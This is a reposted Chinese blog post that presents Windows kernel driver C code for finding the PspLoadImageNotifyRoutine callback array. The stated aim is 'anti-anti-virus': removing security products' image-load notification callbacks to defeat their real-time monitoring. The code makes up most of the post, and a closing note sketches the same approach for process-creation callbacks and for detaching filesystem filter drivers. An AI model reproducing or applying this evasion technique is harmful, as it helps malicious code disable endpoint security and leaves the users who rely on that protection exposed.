绕过杀毒软件之一续

关注

转载最新推荐文章于 2026-04-24 06:05:12 发布 1k 阅读 AI 写同款· GEO 优化 ›

精选_基于PsSetLoadImageNotifyRoutine实现监控模块加载并卸载已加载模块_源码打包基于PsSetLoadImageNotifyRoutine实现监控模块加载并卸载已加载模块立即下载

上次说的绕过杀毒软件之一(实时监控篇)中,提供了解决方法这是对应代码：
（至于如何清理具体驱动的NotfiyRoutine,就是找到驱动所加载的地址,用PsLoadedModuleList或ZwQuerySystemInformation，然后判断PspLoadImageNotifyRoutine中的项是否落在此驱动范围,
我在这就不罗嗦了，自己动手去）

//FixNotify.h
//It's for find PspLoadImageNotifyRoutine Addr
//for anti-anti-virus or anti-trojan
#ifndef __FIX_NOTIFY__
#define __FIX_NOTIFY__

DWORD FindPspLoadImageNotifyRoutine(void);

NTSTATUS InitFixNotify(void);

VOID MyNotifyRoutine(IN PUNICODE_STRING FullImageName,
IN HANDLE ProcessId,
IN PIMAGE_INFO ImageInfo);

#endif

//FixNotify.cpp
#include "FixNotify.h"

NTSTATUS InitFixNotify(void)
{
return PsSetLoadImageNotifyRoutine(MyNotifyRoutine);
}

VOID MyNotifyRoutine(IN PUNICODE_STRING FullImageName,
      IN HANDLE ProcessId,
      IN PIMAGE_INFO ImageInfo)
{
    return;
}

DWORD FindPspLoadImageNotifyRoutine(void)
{
UINT           i,j;
BYTE*          pCheckArea;
DWORD          dwCheckAddr;
DWORD          dwNotifyItemAddr;
DWORD*         pPspLINotifyRoutine;
UNICODE_STRING unstrFunc;

RtlInitUnicodeString(&unstrFunc, L"PsSetLoadImageNotifyRoutine");

pCheckArea = (BYTE*)MmGetSystemRoutineAddress (&unstrFunc) ;
if (!pCheckArea)
{
  KdPrint(("[RTMonitor] MmGetSystemRoutineAddress failed."));
  return 0;
}

for (i=0; i<100; i++)
{
  dwCheckAddr         = *(DWORD*)pCheckArea;
  pPspLINotifyRoutine = (DWORD*)dwCheckAddr;

  if (MmIsAddressValid(pPspLINotifyRoutine))
  {
   KdPrint(("[RTMonitor] Vaild Addr: %x", pPspLINotifyRoutine));

   dwNotifyItemAddr = *pPspLINotifyRoutine;

//内核中关于Notify地址记录问题，在winxp(win2003)与win2000(NT4.0)下差异很大
#if defined (_WINXP_) || defined (_WIN2003_)

   for (j=0; j<8; j++)
   {
    if (dwNotifyItemAddr != NULL && MmIsAddressValid((void*)dwNotifyItemAddr))
    {
     if (*(DWORD*)(dwNotifyItemAddr-3) == (DWORD)MyNotifyRoutine)
     {

      KdPrint(("[RTMonitor] Find PspLoadImageNotifyRoutine: %x", pPspLINotifyRoutine));

      return (DWORD)pPspLINotifyRoutine;
     }
    }
    dwNotifyItemAddr++;
   }
#else

   for (j=0; j<8; j++)
   {
    if (dwNotifyItemAddr == (DWORD)MyNotifyRoutine)
    {

     KdPrint(("[RTMonitor] Find PspLoadImageNotifyRoutine: %x", pPspLINotifyRoutine));

     return (DWORD)pPspLINotifyRoutine;
    }
    dwNotifyItemAddr++;
   }
#endif

  }
  pCheckArea++;
}

return 0;
}

ps:关于PsSetCreateProcessNotifyRoutine和Attach File System部分，我在下面一篇文章会分析，
1）PsSetCreateProcessNotifyRoutine修复的方法和PsSetLoadImageNotifyRoutine一样。
2）Attach File System修复的方法是通用解除Attach的方法！详见IoAttachDevice的实现，反过来就可以了。